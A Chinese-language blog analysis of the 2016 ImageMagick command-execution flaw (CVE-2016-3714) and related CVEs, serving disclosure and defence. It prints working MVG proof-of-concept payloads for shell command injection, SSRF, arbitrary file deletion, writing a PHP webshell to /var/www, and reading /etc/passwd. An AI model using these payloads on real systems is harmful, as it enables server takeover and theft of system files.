ImageMagick命令执行漏洞分析(CVE-2016-3714)
0x00 漏洞概述
ImageMagick是一款广泛流行的开源图像处理软件,被无数的网站和web应用使用它来进行图像处理。在5月3号ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。在https://imagetragick.com/站点可以了解这一漏洞的详细信息。
0x01 影响范围
基于ImageMagick 库的应用现在已经被许多编程语言所支持,包括Perl,C++,PHP,Python和Ruby等,如PHP’s imagick, Ruby’s rmagick and paperclip, and nodejs’s imagemagick等等。当然,涉及到的站点应用也是数以百万计,有博客,社交媒体平台和流行的内容管理系统(CMS),例如WordPress和Drupl、Discuz等。其具体影响范围有:
1、调用ImageMagick的库实现图片处理和渲染的应用(ImageMagick 为多种语言提供了api)。
2、很多流行的内容管理系统(CMS)使用了ImageMagick ,例如 WordPress 的图片处理插件已被证实存在远程命令执行的漏洞(Author 及以上权限用户执行)。
其他如MediaWiki、phpBB和vBulletin 使用了ImageMagick 库生成缩略图,还有一些程序如LyX使用ImageMagick转换图片格式。以上应用可能受到此漏洞影响。
3、如果通过shell 中的convert 命令实现一些图片处理功能,也会受到此漏洞影响。
0x02 国内大批应用被捅
该漏洞在5月4开始,这几天在wooyun网上出现大批量互联网应用被爆菊,并且大都涉及到一些大厂商,如腾讯的邮箱、微信,百度,网易,新浪,优酷,七牛,人人,wordpress等等,而且主流app也存在此漏洞。
0x03 漏洞原理分析
在ImageMagick中有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行(详见Github源码中的MagickCore/delegate.c文件的第347行)。在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是 https://
开头的,即调用 InvokeDelegat。
最终 InvokeDelegate 调用 ExternalDelegateCommand 执行命令:
从上面第一幅图中定义对https格式的图片的处理时,是采用类似于正则表达式的方式进行简单的安全检测。下面拿出来单独分析:
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>
它在解析https图片的时候,使用了curl命令将其下载。这里定义了一些占位符,如%o是curl输出的文件名,%M是远程的URL路径。注意到command中的可以到%M是可以拼接其他指令并被在命令行中执行的。该漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。也就是下面这样:
"wget" -q -O "%o" "https:%M"
当%M为:
`https://example.com";|ls "-la`
时,后面的ls -la也会由于没有安全过滤而通过管道执行。而ImageMagick默认支持一种图片格式,叫mvg,它与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。所以Poc如下(poc.mvg):
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context
其实ImageMagick主要是根据内容来识别图片类型的,所以上面的poc后缀名是jpg、png、gif都行。在本地shell环境下测试如下:
0x04 其他CVE分析
(1) CVE-2016-3718,它是利用mvg格式中可以包含url的特点而发起HTTP GET或者FTP请求,进行SSRF攻击,POC如下(ssrf.mvg):
ssrf.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context $ convert ssrf.mvg out.png # makes http request to example.com
(2) CVE-2016-3715,它是利用ImageMagick支持的ephemeral协议,来删除任意文件:
delete_file.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context $ touch /tmp/delete.txt $ convert delete_file.mvg out.png # deletes /tmp/delete.txt
(3) CVE-2016-3716,它是利用ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell。
file_move.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context /tmp/msl.txt -=-=-=-=-=-=-=-=- <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> </image> /tmp/image.gif - image with php shell inside (https://www.secgeek.net/POC/POC.gif for example) $ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php
(4) CVE-2016-3717,它可以造成本地文件读取漏洞:
file_read.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@...c/passwd' pop graphic-context $ convert file_read.mvg out.png # produces file with text rendered from /etc/passwd
0x05 修复方案?
请看phith0n同学在wooyun知识库中一篇文章的修复方案吧:http://drops.wooyun.org/papers/15589
另外官方说明将在一周内提供最新的ImageMagick 7.x.x-x漏洞修复版本,期待中。。。
参考文档:
https://imagetragick.com/
http://www.openwall.com/lists/oss-security/2016/05/03/18
http://drops.wooyun.org/papers/15589
下一篇将详细分析一下该漏洞在Wordpress中的利用,期待中。。。